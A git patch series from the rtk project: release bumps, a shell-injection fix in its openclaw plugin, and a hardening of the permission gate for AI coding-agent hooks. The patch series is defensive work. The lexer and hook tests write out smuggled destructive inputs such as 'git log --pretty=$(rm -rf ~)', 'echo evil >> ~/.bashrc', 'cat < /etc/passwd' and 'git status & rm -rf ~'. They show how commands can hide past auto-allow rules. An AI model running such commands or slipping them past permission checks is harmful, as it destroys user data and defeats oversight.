From 02f76972b46515b80c62696a52346a385ec400b2 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Fri, 22 May 2026 15:57:54 +0000 Subject: [PATCH 01/11] chore(master): release 0.41.0 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 33 +++++++++++++++++++++++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 36 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 6507815346..dbe1b2bfb9 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.40.0" + ".": "0.41.0" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 2e2345b8fe..2d7dc81c70 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,39 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.41.0](https://github.com/rtk-ai/rtk/compare/v0.40.0...v0.41.0) (2026-05-22) + + +### Features + +* **hints:** add tail hints for tee & hints + address reviews ([46fe7c4](https://github.com/rtk-ai/rtk/commit/46fe7c47293fcbef28159ddc9fcd118a344cc42b)) + + +### Bug Fixes + +* '...' ascii to unicode, remove some comments ([3571d52](https://github.com/rtk-ai/rtk/commit/3571d5293dc463c2a0aadfa9a5587b18478ca99a)) +* **docker:** forward --tail flag in compose logs ([5f1d8b0](https://github.com/rtk-ai/rtk/commit/5f1d8b0e14f0a0f82cd139443a80e680249c3137)) +* **docker:** forward --tail flag in compose logs ([b70b0fe](https://github.com/rtk-ai/rtk/commit/b70b0feec680356db81561d3920a3a9373dd43d8)) +* **filters:** add test for aggressive filter batch fix ([f6b28c2](https://github.com/rtk-ai/rtk/commit/f6b28c292b517d55733ad1d3868f320b017901a5)) +* **filters:** address adversarial test-suite findings on aggressive filtering ([62fc0e0](https://github.com/rtk-ai/rtk/commit/62fc0e0d2159e82aaa8c36a18d69ca569a1ce0b5)) +* **filters:** aggresivity batch fix ([90c285c](https://github.com/rtk-ai/rtk/commit/90c285c38057a552f3e2ea8459fe82d715a9dd17)) +* **filters:** split docker ps/-a paths, cap ruff violations at 50 ([f21b864](https://github.com/rtk-ai/rtk/commit/f21b8642dea5ac37ade5308bcf443315d63665e8)) +* **git:** drop -uall from compact status so output never exceeds raw ([06476d1](https://github.com/rtk-ai/rtk/commit/06476d17cbd49a8a6d06beae9b4a9f0cb9f96f00)) +* **git:** drop -uall from compact status so output never exceeds raw ([7753e48](https://github.com/rtk-ai/rtk/commit/7753e487b3595886d39492be9b43ecad26c826ca)) +* **git:** preserve full status paths and untracked files ([3ba1634](https://github.com/rtk-ai/rtk/commit/3ba1634555c0b9818560c4f512af916620946181)) +* **git:** stream push output to avoid spurious 30s timeout ([#963](https://github.com/rtk-ai/rtk/issues/963)) ([d6c5647](https://github.com/rtk-ai/rtk/commit/d6c56475e818b52b89906baf3a6631aaa506a4c8)) +* **git:** stream push output via FilterMode::Streaming ([#963](https://github.com/rtk-ai/rtk/issues/963)) ([be51783](https://github.com/rtk-ai/rtk/commit/be5178377fd7c155f70fda94dd134aa5a7b9361d)) +* **hooks/init:** preserve user content in copilot-instructions.md ([a04aa7e](https://github.com/rtk-ai/rtk/commit/a04aa7e848a28bf5115bfb1d6b706fbff21ea112)) +* **hooks/init:** preserve user content in copilot-instructions.md ([d108165](https://github.com/rtk-ai/rtk/commit/d10816516b4c199b06af18278ab53c76d26c2d87)) +* **install:** reject archive with path traversal before extraction ([#1250](https://github.com/rtk-ai/rtk/issues/1250)) ([e827184](https://github.com/rtk-ai/rtk/commit/e8271848d7d6b0d34c2ba5c2c3783ddc48247546)) +* **kubectl:** compact get pods and services aliases ([2dd0ec9](https://github.com/rtk-ai/rtk/commit/2dd0ec91ab11feea13f5c40755f337208dcb3f7e)) +* **kubectl:** compact get pods and services aliases ([b8172e5](https://github.com/rtk-ai/rtk/commit/b8172e5b1de2fd3a27d992ffba484f01b47d84d4)) +* re-add env python as noisy dir ([4eefe2f](https://github.com/rtk-ai/rtk/commit/4eefe2f225ea512a2f1bf800dd20c09994721108)) +* **rust:** multi-line blocks used with tail hint ([4960630](https://github.com/rtk-ai/rtk/commit/49606303d6738525c250149230752fb6133383d1)) +* **tee:** safe truncation caps and compose-ps tee content fix ([548e4dd](https://github.com/rtk-ai/rtk/commit/548e4dd995d5de6e52d7c8e7bb0a0f81fa2c0328)) +* **tee:** safe truncation caps and tee/hint coverage ([15a0d2e](https://github.com/rtk-ai/rtk/commit/15a0d2e7d6e3f33442675f502ed8bc868710dfd6)) +* **truncate:** global caps reduce (avoid underflow and 0 results) ([d5a1731](https://github.com/rtk-ai/rtk/commit/d5a17315c52487be2d043e0058a4f7d91ec3d2bc)) + ## [0.40.0](https://github.com/rtk-ai/rtk/compare/v0.39.0...v0.40.0) (2026-05-13) diff --git a/Cargo.lock b/Cargo.lock index 8773a0899e..5ddb812959 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.40.0" +version = "0.41.0" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 8fc8a93054..376df83aa5 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.40.0" +version = "0.41.0" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From 415fab061165b216b25da7afdefbddde1d91fab2 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Sun, 24 May 2026 15:34:31 +0000 Subject: [PATCH 02/11] chore(master): release 0.42.0 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 12 ++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 15 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index dbe1b2bfb9..57953081c6 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.41.0" + ".": "0.42.0" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 2d7dc81c70..572d8b8cc7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,18 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.42.0](https://github.com/rtk-ai/rtk/compare/v0.41.0...v0.42.0) (2026-05-24) + + +### Features + +* **hook:** add pi support ([805caf7](https://github.com/rtk-ai/rtk/commit/805caf7d069e93370a316682b36aad59d562de2e)) + + +### Bug Fixes + +* honor explicit -n N limit for git log on merge commits ([26c8890](https://github.com/rtk-ai/rtk/commit/26c88907d945ec81a25fe631a39dee3830faa0ec)) + ## [0.41.0](https://github.com/rtk-ai/rtk/compare/v0.40.0...v0.41.0) (2026-05-22) diff --git a/Cargo.lock b/Cargo.lock index 5ddb812959..8b259e2abe 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.41.0" +version = "0.42.0" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 376df83aa5..5b91bb4cae 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.41.0" +version = "0.42.0" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From 1bb17f4fd18ef9470ba5a0c1341a35b26819da39 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 13:44:03 +0200 Subject: [PATCH 03/11] fix(openclaw): no execSync to avoid async dangerous cmds --- openclaw/index.ts | 10 ++++++---- openclaw/package.json | 5 +---- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/openclaw/index.ts b/openclaw/index.ts index 17ea4ec93c..4babe14d8b 100644 --- a/openclaw/index.ts +++ b/openclaw/index.ts @@ -9,14 +9,14 @@ * Rust registry, not this file. */ -import { execSync } from "node:child_process"; +import { execFileSync } from "node:child_process"; let rtkAvailable: boolean | null = null; function checkRtk(): boolean { if (rtkAvailable !== null) return rtkAvailable; try { - execSync("which rtk", { stdio: "ignore" }); + execFileSync("which", ["rtk"], { stdio: "ignore" }); rtkAvailable = true; } catch { rtkAvailable = false; @@ -26,10 +26,12 @@ function checkRtk(): boolean { function tryRewrite(command: string): string | null { try { - const result = execSync(`rtk rewrite ${JSON.stringify(command)}`, { + const result = execFileSync("rtk", ["rewrite", command], { encoding: "utf-8", timeout: 2000, - }).trim(); + }) + .toString() + .trim(); return result && result !== command ? result : null; } catch { return null; diff --git a/openclaw/package.json b/openclaw/package.json index 18d359ff44..8ff76c9a2a 100644 --- a/openclaw/package.json +++ b/openclaw/package.json @@ -22,8 +22,5 @@ "index.ts", "openclaw.plugin.json", "README.md" - ], - "peerDependencies": { - "rtk": ">=0.28.0" - } + ] } From 9664e27038e90730f4ecc52aa2d3b8b8458093e6 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Wed, 3 Jun 2026 12:37:40 +0000 Subject: [PATCH 04/11] chore(master): release 0.42.1 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 7 +++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 10 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 57953081c6..cede7a525d 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.42.0" + ".": "0.42.1" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 572d8b8cc7..f9003c4175 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,13 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.42.1](https://github.com/rtk-ai/rtk/compare/v0.42.0...v0.42.1) (2026-06-03) + + +### Bug Fixes + +* **openclaw:** no execSync to avoid async dangerous cmds ([1bb17f4](https://github.com/rtk-ai/rtk/commit/1bb17f4fd18ef9470ba5a0c1341a35b26819da39)) + ## [0.42.0](https://github.com/rtk-ai/rtk/compare/v0.41.0...v0.42.0) (2026-05-24) diff --git a/Cargo.lock b/Cargo.lock index 8b259e2abe..b71ed64a84 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.42.0" +version = "0.42.1" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 5b91bb4cae..6aa2ea2c33 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.42.0" +version = "0.42.1" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From cdcdb6863a3df709603dbed0a6205bf16e4e635f Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 17:57:29 +0200 Subject: [PATCH 05/11] fix(permissions): never auto-allow not evaluable + defer to the agent MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Decompose compound commands for permission checks (newline, background &, subshell `( )`) in addition to &&, ||, ;, | so hidden segments are checked. - `contains_unattestable_construct`: flag command/process substitution and file-target redirects (fd-dup `2>&1` and /dev/null exempt) — RTK can't decompose these, so they are never auto-allowed. - Route every host hook (Claude, VS Code, Gemini, Cursor, Copilot CLI) through a single decision flow. Precedence: Deny → (defer if unattestable) → Allow → Ask → Default. Auto-allow only on a positive Allow; otherwise defer to the host's own engine. - Gemini: ask_user instead of hardcoded allow. Cursor: empty `{}` delegation, since permission:"ask" is not enforced on its sandboxed shell. --- src/discover/lexer.rs | 257 ++++++++++++++++++++++++++ src/hooks/hook_cmd.rs | 383 ++++++++++++++++++++++++++++----------- src/hooks/permissions.rs | 157 +++++++++++++++- src/hooks/rewrite_cmd.rs | 105 +++++++++-- 4 files changed, 772 insertions(+), 130 deletions(-) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index 5fb366f3bd..865b74a94a 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -15,6 +15,10 @@ pub struct ParsedToken { } pub fn tokenize(input: &str) -> Vec { + tokenize_inner(input, false) +} + +fn tokenize_inner(input: &str, emit_newline: bool) -> Vec { let mut tokens = Vec::new(); let mut current = String::new(); let mut current_start: usize = 0; @@ -226,6 +230,16 @@ pub fn tokenize(input: &str) -> Vec { }); current_start = byte_pos; } + '\n' | '\r' if emit_newline => { + flush_arg(&mut tokens, &mut current, current_start); + tokens.push(ParsedToken { + kind: TokenKind::Operator, + value: "\n".into(), + offset: byte_pos, + }); + byte_pos += char_len; + current_start = byte_pos; + } c if c.is_whitespace() => { flush_arg(&mut tokens, &mut current, current_start); byte_pos += c.len_utf8(); @@ -258,6 +272,101 @@ fn flush_arg(tokens: &mut Vec, current: &mut String, offset: usize) } } +/// True for constructs the permission gate can't decompose, so they must never +/// be auto-allowed: command/process substitution, or a real file-target redirect +/// (fd-dup like `2>&1` and `/dev/null` are exempt). Separators and subshells are +/// handled by [`split_for_permissions`], not flagged here. +pub fn contains_unattestable_construct(cmd: &str) -> bool { + if contains_substitution(cmd) { + return true; + } + let tokens = tokenize(cmd); + tokens + .iter() + .enumerate() + .any(|(i, tok)| tok.kind == TokenKind::Redirect && redirect_has_file_target(&tokens, i)) +} + +/// Quote-aware: bash runs backtick/`$(...)` unquoted and inside double quotes, +/// but treats single-quoted text literally; `<(`/`>(` is unquoted-only. +fn contains_substitution(cmd: &str) -> bool { + let bytes = cmd.as_bytes(); + let mut in_single = false; + let mut in_double = false; + let mut i = 0; + while i < bytes.len() { + match bytes[i] { + b'\\' if !in_single => { + i += 2; + continue; + } + b'\'' if !in_double => in_single = !in_single, + b'"' if !in_single => in_double = !in_double, + b'`' if !in_single => return true, + b'$' if !in_single && bytes.get(i + 1) == Some(&b'(') => return true, + b'<' | b'>' if !in_single && !in_double && bytes.get(i + 1) == Some(&b'(') => { + return true + } + _ => {} + } + i += 1; + } + false +} + +/// File target unless it's fd-dup (`>&`) or `/dev/null`. +fn redirect_has_file_target(tokens: &[ParsedToken], i: usize) -> bool { + if tokens[i].value.contains(">&") { + return false; + } + match tokens.get(i + 1) { + Some(next) if next.kind == TokenKind::Arg => next.value != "/dev/null", + _ => true, + } +} + +/// Like [`split_on_operators`] but also breaks on newline, background `&`, and +/// subshell `( ... )`, and truncates each segment at its first redirect. +/// Callers must still gate on [`contains_unattestable_construct`] first. +pub fn split_for_permissions(cmd: &str) -> Vec<&str> { + let trimmed = cmd.trim(); + if trimmed.is_empty() { + return vec![]; + } + + let tokens = tokenize_inner(trimmed, true); + let mut results = Vec::new(); + let mut seg_start: usize = 0; + let mut seg_end: Option = None; + + for tok in &tokens { + let is_boundary = match tok.kind { + TokenKind::Operator | TokenKind::Pipe => true, + TokenKind::Shellism => matches!(tok.value.as_str(), "&" | "(" | ")"), + _ => false, + }; + + if is_boundary { + let end = seg_end.take().unwrap_or(tok.offset); + let segment = trimmed[seg_start..end].trim(); + if !segment.is_empty() { + results.push(segment); + } + seg_start = tok.offset + tok.value.len(); + } else if tok.kind == TokenKind::Redirect && seg_end.is_none() { + seg_end = Some(tok.offset); + } + } + + let end = seg_end.unwrap_or(trimmed.len()); + let tail = trimmed[seg_start..end].trim(); + if !tail.is_empty() { + results.push(tail); + } + + results +} + /// Split a shell command on operators (`&&`, `||`, `;`) and optionally pipes (`|`), /// respecting quoted strings via the lexer. /// @@ -1030,4 +1139,152 @@ mod tests { assert!(split_on_operators("", false).is_empty()); assert!(split_on_operators(" ", true).is_empty()); } + + // --- contains_unattestable_construct (security) ------------------------- + + #[test] + fn test_unattestable_backtick() { + assert!(contains_unattestable_construct("git status `whoami`")); + } + + #[test] + fn test_unattestable_command_substitution() { + assert!(contains_unattestable_construct( + "git log --pretty=$(rm -rf ~)" + )); + } + + #[test] + fn test_unattestable_process_substitution() { + assert!(contains_unattestable_construct("diff <(secret) <(other)")); + assert!(contains_unattestable_construct("tee >(cat)")); + } + + #[test] + fn test_unattestable_substitution_inside_double_quotes() { + assert!(contains_unattestable_construct( + r#"git log --pretty="$(rm -rf ~)""# + )); + assert!(contains_unattestable_construct( + r#"git log --pretty="`rm -rf ~`""# + )); + assert!(contains_unattestable_construct( + r#"git -c x="$(whoami)" status"# + )); + } + + #[test] + fn test_attestable_substitution_inside_single_quotes() { + assert!(!contains_unattestable_construct("echo '$(rm -rf ~)'")); + assert!(!contains_unattestable_construct("echo '`whoami`'")); + assert!(!contains_unattestable_construct(r#"echo "\$(rm -rf ~)""#)); + } + + #[test] + fn test_unattestable_file_redirects() { + assert!(contains_unattestable_construct("git log > /tmp/x")); + assert!(contains_unattestable_construct("echo evil >> ~/.bashrc")); + assert!(contains_unattestable_construct("cmd &> /tmp/x")); + assert!(contains_unattestable_construct("cat < /etc/passwd")); + assert!(contains_unattestable_construct("cat << EOF")); + } + + #[test] + fn test_attestable_fd_dup_and_devnull_redirects() { + assert!(!contains_unattestable_construct("git status 2>&1")); + assert!(!contains_unattestable_construct("cmd >&2")); + assert!(!contains_unattestable_construct("cmd 2>&-")); + assert!(!contains_unattestable_construct("cmd 2>/dev/null")); + assert!(!contains_unattestable_construct("cmd > /dev/null")); + assert!(!contains_unattestable_construct("cmd &> /dev/null")); + } + + #[test] + fn test_attestable_subshell_and_separators() { + assert!(!contains_unattestable_construct( + "(git status; cargo build)" + )); + assert!(!contains_unattestable_construct( + "git status && cargo build" + )); + assert!(!contains_unattestable_construct("git status; cargo build")); + assert!(!contains_unattestable_construct("git log | head")); + assert!(!contains_unattestable_construct("sleep 1 &")); + assert!(!contains_unattestable_construct("git status\ncargo build")); + } + + #[test] + fn test_attestable_variable_expansion() { + assert!(!contains_unattestable_construct("echo $HOME")); + assert!(!contains_unattestable_construct("echo ${HOME}")); + assert!(!contains_unattestable_construct("git status")); + assert!(!contains_unattestable_construct("")); + } + + // --- split_for_permissions --------------------------------------------- + + #[test] + fn test_split_perms_operators() { + assert_eq!( + split_for_permissions("git status && cargo build"), + vec!["git status", "cargo build"] + ); + assert_eq!( + split_for_permissions("git status; cargo build"), + vec!["git status", "cargo build"] + ); + assert_eq!( + split_for_permissions("git log | head"), + vec!["git log", "head"] + ); + } + + #[test] + fn test_split_perms_newline() { + assert_eq!( + split_for_permissions("git status\ncargo build"), + vec!["git status", "cargo build"] + ); + } + + #[test] + fn test_split_perms_background_ampersand() { + assert_eq!( + split_for_permissions("git status & rm -rf ~"), + vec!["git status", "rm -rf ~"] + ); + assert_eq!(split_for_permissions("sleep 1 &"), vec!["sleep 1"]); + } + + #[test] + fn test_split_perms_subshell() { + assert_eq!( + split_for_permissions("(git status; cargo build)"), + vec!["git status", "cargo build"] + ); + assert_eq!(split_for_permissions("((a; b); c)"), vec!["a", "b", "c"]); + } + + #[test] + fn test_split_perms_truncates_at_redirect() { + assert_eq!(split_for_permissions("git status 2>&1"), vec!["git status"]); + assert_eq!(split_for_permissions("git log > /tmp/x"), vec!["git log"]); + assert_eq!( + split_for_permissions("git push --force 2>&1"), + vec!["git push --force"] + ); + } + + #[test] + fn test_split_perms_newline_inside_quotes_not_split() { + let segments = split_for_permissions("echo 'line1\nline2'"); + assert_eq!(segments.len(), 1); + assert!(segments[0].starts_with("echo")); + } + + #[test] + fn test_split_perms_empty() { + assert!(split_for_permissions("").is_empty()); + assert!(split_for_permissions(" ").is_empty()); + } } diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 36825e3c5e..537b106fa6 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -120,23 +120,40 @@ fn get_rewritten(cmd: &str) -> Option { Some(rewritten) } -fn handle_vscode(cmd: &str) -> Result<()> { - let verdict = permissions::check_command(cmd); +enum HookDecision { + AllowRewrite(String), + AskRewrite(String), + Defer, + Deny, +} + +fn decide_from_verdict(cmd: &str, verdict: PermissionVerdict) -> HookDecision { if verdict == PermissionVerdict::Deny { - audit_log("deny", cmd, ""); - return Ok(()); + return HookDecision::Deny; } + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return HookDecision::Defer; + } + match get_rewritten(cmd) { + Some(r) if verdict == PermissionVerdict::Allow => HookDecision::AllowRewrite(r), + Some(r) => HookDecision::AskRewrite(r), + None => HookDecision::Defer, + } +} - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => return Ok(()), - }; +fn decide_hook_action(cmd: &str) -> HookDecision { + decide_from_verdict(cmd, permissions::check_command(cmd)) +} - // Allow (explicit rule matched): auto-allow the rewritten command. - // Ask/Default (no allow rule matched): rewrite but let the host tool prompt. - let decision = match verdict { - PermissionVerdict::Allow => "allow", - _ => "ask", +fn handle_vscode(cmd: &str) -> Result<()> { + let (decision, rewritten) = match decide_hook_action(cmd) { + HookDecision::Deny => { + audit_log("deny", cmd, ""); + return Ok(()); + } + HookDecision::Defer => return Ok(()), + HookDecision::AllowRewrite(r) => ("allow", r), + HookDecision::AskRewrite(r) => ("ask", r), }; audit_log("rewrite", cmd, &rewritten); @@ -159,6 +176,10 @@ fn handle_copilot_cli(cmd: &str) -> Result<()> { return Ok(()); } + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return Ok(()); + } + let rewritten = match get_rewritten(cmd) { Some(r) => r, None => return Ok(()), @@ -202,25 +223,22 @@ pub fn run_gemini() -> Result<()> { return Ok(()); } - // Check deny rules — Gemini CLI only supports allow/deny (no ask mode). - if permissions::check_command(cmd) == PermissionVerdict::Deny { - let _ = writeln!( - io::stdout(), - r#"{{"decision":"deny","reason":"Blocked by RTK permission rule"}}"# - ); - return Ok(()); - } - - let (excluded, transparent_prefixes) = crate::core::config::Config::load() - .map(|c| (c.hooks.exclude_commands, c.hooks.transparent_prefixes)) - .unwrap_or_default(); - - match rewrite_command(cmd, &excluded, &transparent_prefixes) { - Some(ref rewritten) => { + match decide_hook_action(cmd) { + HookDecision::Deny => { + let _ = writeln!( + io::stdout(), + r#"{{"decision":"deny","reason":"Blocked by RTK permission rule"}}"# + ); + } + HookDecision::AllowRewrite(ref rewritten) => { audit_log("rewrite", cmd, rewritten); - print_rewrite(rewritten); + print_gemini("allow", Some(rewritten)); } - None => print_allow(), + HookDecision::AskRewrite(ref rewritten) => { + audit_log("ask", cmd, rewritten); + print_gemini("ask_user", Some(rewritten)); + } + HookDecision::Defer => print_gemini("ask_user", None), } Ok(()) @@ -230,16 +248,16 @@ fn print_allow() { let _ = writeln!(io::stdout(), r#"{{"decision":"allow"}}"#); } -fn print_rewrite(cmd: &str) { - let output = serde_json::json!({ - "decision": "allow", - "hookSpecificOutput": { - "tool_input": { - "command": cmd - } - } - }); - let _ = writeln!(io::stdout(), "{}", output); +fn gemini_json(decision: &str, rewrite: Option<&str>) -> String { + let mut output = serde_json::json!({ "decision": decision }); + if let Some(cmd) = rewrite { + output["hookSpecificOutput"] = serde_json::json!({ "tool_input": { "command": cmd } }); + } + output.to_string() +} + +fn print_gemini(decision: &str, rewrite: Option<&str>) { + let _ = writeln!(io::stdout(), "{}", gemini_json(decision, rewrite)); } // ── Audit logging ───────────────────────────────────────────── @@ -307,22 +325,21 @@ fn process_claude_payload(v: &Value) -> PayloadAction { None => return PayloadAction::Ignore, }; - let verdict = permissions::check_command(cmd); - if verdict == PermissionVerdict::Deny { - return PayloadAction::Skip { - reason: "skip:deny_rule", - cmd: cmd.to_string(), - }; - } - - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => { + let (rewritten, allow) = match decide_hook_action(cmd) { + HookDecision::Deny => { + return PayloadAction::Skip { + reason: "skip:deny_rule", + cmd: cmd.to_string(), + } + } + HookDecision::Defer => { return PayloadAction::Skip { - reason: "skip:no_match", + reason: "skip:defer", cmd: cmd.to_string(), } } + HookDecision::AllowRewrite(r) => (r, true), + HookDecision::AskRewrite(r) => (r, false), }; let updated_input = { @@ -339,7 +356,7 @@ fn process_claude_payload(v: &Value) -> PayloadAction { "updatedInput": updated_input }); - if verdict == PermissionVerdict::Allow { + if allow { hook_output .as_object_mut() .unwrap() @@ -441,40 +458,29 @@ pub fn run_cursor() -> Result<()> { } }; - let verdict = permissions::check_command(&cmd); - if verdict == PermissionVerdict::Deny { - audit_log("deny", &cmd, ""); - let _ = writeln!(io::stdout(), "{{}}"); - return Ok(()); - } - - let rewritten = match get_rewritten(&cmd) { - Some(r) => r, - None => { - let _ = writeln!(io::stdout(), "{{}}"); - return Ok(()); + let output = match decide_hook_action(&cmd) { + HookDecision::AllowRewrite(rewritten) => { + audit_log("rewrite", &cmd, &rewritten); + cursor_allow(&rewritten) + } + other => { + if matches!(other, HookDecision::Deny) { + audit_log("deny", &cmd, ""); + } + "{}".to_string() } }; + let _ = writeln!(io::stdout(), "{output}"); + Ok(()) +} - // Cursor preToolUse currently enforces allow/deny only and can ignore - // updated_input when permission is "ask". Use "allow" for rewritten - // commands unless the command is explicitly denied above. - let decision = "allow"; - - audit_log("rewrite", &cmd, &rewritten); - - // `continue: true` mirrors the shape of every other Cursor hook - // (afterShellExecution, beforeSubmitPrompt, stop, ...). Cursor's - // preToolUse panel renders the JSON it received; without this field - // the panel collapses to `Output: {}` even though the rewrite ran, - // which makes the hook look broken to users. - let output = json!({ +fn cursor_allow(rewritten: &str) -> String { + json!({ "continue": true, - "permission": decision, + "permission": "allow", "updated_input": { "command": rewritten } - }); - let _ = writeln!(io::stdout(), "{output}"); - Ok(()) + }) + .to_string() } #[cfg(test)] @@ -505,21 +511,9 @@ fn run_cursor_inner_with_rules( }; let verdict = permissions::check_command_with_rules(&cmd, deny_rules, ask_rules, allow_rules); - if verdict == PermissionVerdict::Deny { - return "{}".to_string(); - } - - match get_rewritten(&cmd) { - Some(rewritten) => { - let decision = "allow"; - let output = json!({ - "continue": true, - "permission": decision, - "updated_input": { "command": rewritten } - }); - output.to_string() - } - None => "{}".to_string(), + match decide_from_verdict(&cmd, verdict) { + HookDecision::AllowRewrite(rewritten) => cursor_allow(&rewritten), + _ => "{}".to_string(), } } @@ -713,6 +707,26 @@ mod tests { assert!(run_claude_inner(&claude_input("htop")).is_none()); } + #[test] + fn test_claude_substitution_not_rewritten() { + // A substitution payload must never be rewritten into updatedInput; + // RTK skips so Claude Code evaluates the original command natively. + assert!(run_claude_inner(&claude_input("git status `rm -rf /tmp/x`")).is_none()); + assert!(run_claude_inner(&claude_input("git status $(rm -rf /tmp/x)")).is_none()); + assert!(run_claude_inner(&claude_input("git log --pretty=\"$(rm -rf /tmp/x)\"")).is_none()); + } + + #[test] + fn test_claude_file_redirect_not_rewritten() { + assert!(run_claude_inner(&claude_input("git log > /tmp/out.txt")).is_none()); + } + + #[test] + fn test_claude_fd_dup_redirect_still_rewritten() { + // `2>&1` is attestable — the rewrite proceeds as normal. + assert!(run_claude_inner(&claude_input("git status 2>&1")).is_some()); + } + #[test] fn test_claude_heredoc_passthrough() { assert!(run_claude_inner(&claude_input("cat < String { + run_cursor_inner_with_rules(input, &[], &[], &["*".to_string()]) + } + #[test] fn test_cursor_rewrite_flat_format() { - let result = run_cursor_inner(&cursor_input("git status")); + let result = run_cursor_allowed(&cursor_input("git status")); let v: Value = serde_json::from_str(&result).unwrap(); // Cursor preToolUse expects allow/deny for rewrite application. assert_eq!(v["permission"], "allow"); @@ -803,6 +821,34 @@ mod tests { assert_eq!(v["continue"], true); } + #[test] + fn test_cursor_no_allow_rule_defers() { + assert_eq!(run_cursor_inner(&cursor_input("git status")), "{}"); + } + + #[test] + fn test_cursor_substitution_defers_even_when_allowed() { + assert_eq!( + run_cursor_allowed(&cursor_input("git status `rm -rf /tmp/x`")), + "{}" + ); + assert_eq!( + run_cursor_allowed(&cursor_input("git status $(rm -rf /tmp/x)")), + "{}" + ); + } + + #[test] + fn test_cursor_unallowed_segment_defers() { + let out = run_cursor_inner_with_rules( + &cursor_input("git status && rm -rf /tmp/x"), + &[], + &[], + &["git *".to_string()], + ); + assert_eq!(out, "{}"); + } + #[test] fn test_cursor_passthrough_empty_json() { let result = run_cursor_inner(&cursor_input("htop")); @@ -829,7 +875,7 @@ mod tests { #[test] fn test_cursor_no_hook_specific_output() { - let result = run_cursor_inner(&cursor_input("cargo test")); + let result = run_cursor_allowed(&cursor_input("cargo test")); let v: Value = serde_json::from_str(&result).unwrap(); assert!(v.get("hookSpecificOutput").is_none()); assert_eq!(v["permission"], "allow"); @@ -839,7 +885,7 @@ mod tests { #[test] fn test_cursor_compound_rewrite_includes_continue() { let cmd = "cd \"/tmp/proj\" && git status"; - let result = run_cursor_inner(&cursor_input(cmd)); + let result = run_cursor_allowed(&cursor_input(cmd)); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -856,7 +902,7 @@ mod tests { // the hook returned `{}` and the rewrite became a silent no-op. let payload = cursor_input("git status"); let with_single_bom = format!("\u{feff}{}", payload); - let result = run_cursor_inner(&with_single_bom); + let result = run_cursor_allowed(&with_single_bom); let v: Value = 